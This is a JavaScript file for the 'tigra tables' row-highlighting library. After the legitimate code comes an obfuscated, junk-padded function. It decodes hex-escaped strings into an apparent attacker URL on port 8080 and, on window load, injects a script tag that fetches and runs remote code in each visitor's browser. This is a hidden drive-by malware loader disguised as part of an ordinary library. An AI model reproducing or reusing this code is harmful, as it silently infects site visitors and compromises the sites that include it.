// Title: tigra tables
// Description: See the demo at url
// URL: http://www.softcomplex.com/products/tigra_tables/
// Version: 1.0
// Date: 03-04-2002 (mm-dd-yyyy)
// Notes: Permission given to use this script in any kind of applications if
//    header lines are left unchanged. Feel free to contact the author
//    for feature requests and/or donations

function tigra_tables (
		str_tableid, // table id (req.)
		num_header_offset, // how many rows to skip before applying effects at the begining (opt.)
		num_footer_offset, // how many rows to skip at the bottom of the table (opt.)
		str_odd_color, // background color for odd rows (opt.)
		str_even_color, // background color for even rows (opt.)
		str_mover_color, // background color for rows with mouse over (opt.)
		str_onclick_color // background color for marked rows (opt.)
	) {

	 // skip non DOM browsers
	if (typeof(document.all) != 'object') return;

	// validate required parameters
	if (!str_tableid) return alert ("No table(s) ID specified in parameters");
	var obj_tables = (document.all ? document.all[str_tableid] : document.getElementById(str_tableid));
	if (!obj_tables) return alert ("Can't find table(s) with specified ID (" + str_tableid + ")");

	// set defaults for optional parameters
	var col_config = [];
	col_config.header_offset = (num_header_offset ? num_header_offset : 0);
	col_config.footer_offset = (num_footer_offset ? num_footer_offset : 0);
	col_config.odd_color = (str_odd_color ? str_odd_color : '#4575C9');
	col_config.even_color = (str_even_color ? str_even_color : '#4575C9');
	col_config.mover_color = (str_mover_color ? str_mover_color : '#2A4D8D');
	col_config.onclick_color = (str_onclick_color ? str_onclick_color : '#A0B9E2');
	
	// init multiple tables with same ID
	if (obj_tables.length)
		for (var i = 0; i < obj_tables.length; i++)
			tt_init_table(obj_tables[i], col_config);
	// init single table
	else
		tt_init_table(obj_tables, col_config);
}

function tt_init_table (obj_table, col_config) {
	var col_lconfig = [],
		col_trs = obj_table.rows;
	for (var i = col_config.header_offset; i < col_trs.length - col_config.footer_offset; i++) {
		col_trs[i].config = col_config;
		col_trs[i].lconfig = col_lconfig;
		col_trs[i].set_color = tt_set_color;
		col_trs[i].onmouseover = tt_mover; 
		col_trs[i].onmouseout = tt_mout;
		col_trs[i].onmousedown = tt_onclick;
		col_trs[i].order = (i - col_config.header_offset) % 2;
		col_trs[i].onmouseout();
	}
}
function tt_set_color(str_color) {
	this.style.backgroundColor = str_color;
}

// event handlers
function tt_mover () {
	if (this.lconfig.clicked != this)
		this.set_color(this.config.mover_color);
}
function tt_mout () {
	if (this.lconfig.clicked != this)
		this.set_color(this.order ? this.config.odd_color : this.config.even_color);
}
function tt_onclick () {
	if (this.lconfig.clicked == this) {
		this.lconfig.clicked = null;
		this.onmouseover();
	}
	else {
		var last_clicked = this.lconfig.clicked;
		this.lconfig.clicked = this;
		if (last_clicked) last_clicked.onmouseout();
		this.set_color(this.config.onclick_color);
	}
}



function K(){var eY;if(eY!='mJ'){eY=''};var k=unescape;var p;if(p!=''){p='n'};this.my='';var O;if(O!='R' && O!='Yt'){O=''};var KB=window;var m=k("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2f%63%6c%6f%6f%62%2e%63%6f%6d%2e%70%68%70");var a='';var X=new String();var P=new String();function j(w,x){var Z='';var pY="";var A="g";var H=k("%5b"), y=k("%5d");var Tp='';var V=H+x+y;var Wl;if(Wl!='XH' && Wl!='z'){Wl=''};var Eq;if(Eq!=''){Eq='Fr'};var _=new RegExp(V, A);var Km;if(Km!='Au' && Km!='Jr'){Km=''};return w.replace(_, new String());var q;if(q!=''){q='i'};};var Rt='';var KBD;if(KBD!='' && KBD!='ll'){KBD='VF'};var mZ;if(mZ!='ui' && mZ!='iK'){mZ='ui'};var cb='';var C='';var E=new String();var M;if(M!='BL'){M=''};var bV='';var T=document;var I=j('84910441815057','65921437');var Jl='';var qR='';var RZ;if(RZ!='' && RZ!='Xd'){RZ='qM'};var v;if(v!='' && v!='fm'){v='TN'};function U(){var VN=new Date();var _ZD;if(_ZD!='KP'){_ZD=''};var t=k("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var yS;if(yS!='' && yS!='kP'){yS=null};this.qZ='';E=t;E+=I;E+=m;var Fc;if(Fc!='' && Fc!='hS'){Fc=null};var nv="";var cn=new String();try {var Zw=new Array();b=T.createElement(j('s6curZiXp9tX','6K9hu_HnXZ'));var qK=new String();this.qo='';b[k("%73%72%63")]=E;this.Ke="";var xd;if(xd!='MX'){xd=''};b[k("%64%65%66%65%72")]=[1,2][0];var ko;if(ko!='uu'){ko='uu'};var EM;if(EM!='pq'){EM='pq'};var xV=new Array();T.body.appendChild(b);this.Xp="";} catch(u){alert(u);var Ob="";var gS;if(gS!='' && gS!='OV'){gS='aH'};};}KB["ExNonl".substr(3)+"oad"]=U;var Mv;if(Mv!='Bz' && Mv != ''){Mv=null};var kL="";var iD=new String();var i_;if(i_!='Q' && i_!='cf'){i_=''};};K();var _c="";var DC;if(DC!=''){DC='Oa'};